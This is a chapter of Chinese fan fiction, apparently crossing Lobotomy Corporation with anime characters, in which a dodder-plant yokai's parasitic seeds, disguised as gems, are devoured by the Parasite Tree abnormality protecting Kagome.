谁信啊!信他还不如信自己是咒术界的皇帝!
可老头完全没有接收到北条光希的信号,依旧伸着他干瘦的手,示意他们收下。
X静静的站在后面,这个老头的侧重点一直是日暮戈薇,为什么呢?
女性?亦或者是别的什么与他与北条光希不同的……
想到了老头刚刚将自己伸长的行为,那种细长的感觉,有些像是某种植物的触须……
确实,日暮戈薇是他们三个里唯一一个穿着带有植物元素的人,那么老头的真实身份就很值得商榷了。
要是他将日暮戈薇误认为寄生树那样的树木……那他的目的有是什么?
眼见二人还在犹豫,X率先接过了那三枚宝石中的一颗。
果然……虽然这枚出自妖怪之手的“宝石”已经极尽华美,可这些特征已经完全暴露了老头的同意。
这是菟丝子的种子,就是不知道这是他的后代,还是他的重生保障了。
老头见X正在仔细研究起“宝石”,心底有些打鼓,可随后,他便放下了心,看来那只鸟妖的眼神真的很有问题。
煞有其事地看了半天,又什么都没看出来的金眼睛小鬼很自然的将他的种子收了起来,他也是,这样的小鬼又能知道些什么。
“没有问题,你们可以收下。”
原本X是绝对会阻止的,可是……名为日暮戈薇的少女,她所穿着的可是「寄生树」产出的护甲啊。
你跟专职玩寄生的异想体搞寄生?!
老头眼见三人都将种子收起来,这才放心地带着他们向着出口走去。
当然,作为交换,他的面具已经在X的手上了。
此时他正用那张破麻布,将自己的头包起来。
不知是不是日暮戈薇的错觉,这个人似乎正以肉眼可见的速度衰弱下去。
明明他刚刚还在那里围着他们转来转去,可现在她眼前那个披着布的身影行走的脚步却越来越虚浮……
就好像是一棵步入毁灭的植物那般,难不成……安吉罗斯先生要走的那张面具是他的能量源泉吗?
日暮戈薇被自己的联想吓了一跳,随即默默地摇了摇
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头,怎么可能,要真是力量源泉的话,就算是多么诱人的宝物,也不会交换啊!
真是的,她怎么会有这么奇怪的想法。
走在最前方的菟丝子老头也在心里暗自奇怪,他明明讲种子分散出去了,并且已经驱动他的小宝贝们发芽了。
可是为什么没有汲取到哪怕一丝一毫的能量?
这对吗?这不对啊!!
可种子是在自己眼皮底下被收起来的……到底是哪里出了问题?
眼见自己走不到预定的位置了,老头子干脆心一横,啵的一声,拔掉了「巨树汁液」的瓶塞,小心的喝了一小口。
几乎是酒红色液体滑进喉咙的一瞬间,菟丝子就感受到凉意从头到脚地流淌,他一扫之前的虚弱,就好像回到了自己还年轻的时候。
看来那只鸟妖没有欺骗自己,掩藏在麻布底下的形状酷似章鱼腕足上吸盘的嘴巴咧成了一个诡异的弧度。
他一定会好好吸收这些“诚实的好人”,不浪费任何一点来自他们的“能量”。
拥有足够能量的菟丝子也不打算与这几个毛孩子虚与委蛇,他现在就要讲这些妖怪全部吃进肚子!
被日暮戈薇踹进口袋的“宝石”无声地弹出了一根几乎透明的触须,颤颤巍巍但目标明确的向着她的身体一侧扎了过去。
本该扎入“树妖”身体的触须左右晃了晃,像是有些疑惑,它被什么东西包裹住了。
远程上号ego的「寄生树」胸口的那张脸上满是凝重,再不复往日的柔和。
祂感受到了,有什么东西在试图掠夺,掠夺祂寄生树!
格蕾丝原本只是路过收容室时,无意识的向内瞥了一眼,结果这个可怜的姑娘差点惊得原地跳起来!
她一把拉过一般路过的文职,语气发飘:“快去告诉部长!寄生树不打算「伪善」了!祂看起来不想装了!!”
被自说自话的员工揪起来的文职虽然不知道她在说什么,但是传话他还是会的,感受到事态的紧急,他连滚带爬的直奔情报部的部长办公室而去。
一向对情报最为上心的部长听着鹦语学舌的文职所复述出来的内容,缓缓皱起了眉。
“我去看看。”性格负责的部长边说着,边直奔「寄生树」的收容室而去。
果然,如文职所说的那样,「寄生树」的表情看起来像是想去和人打上一架。
就算是一直与异想体的各种情报打交道的加百列也没弄明白,这个不会挪窝的异想体究竟在想什么?
总不能是主管不在,祂们要揭竿而起吧?
揭竿了,只不过不在公司。
日暮戈薇惊讶的发现自己身上的衣服仿佛拥有了生命。
她可以感受到周身的清凉,就像是她真的置身于树木之中一样。
她没看到的是,在她的口袋里,有一张小脸缓缓浮现。
本该面容恬淡的祂,此时已经紫了脸,恶狠狠地张开了“嘴”,像吃发芽的豆子一样,将菟丝子的种子吸进了嘴里。
随着小脸的微微鼓动,“牙齿”之间发出了极为清晰的咯噔……咯噔……的声音。
而刚刚还容光焕发的菟丝子却猛地捂住了自己的喉咙,不受控制的发出了一声尖利的惨嚎。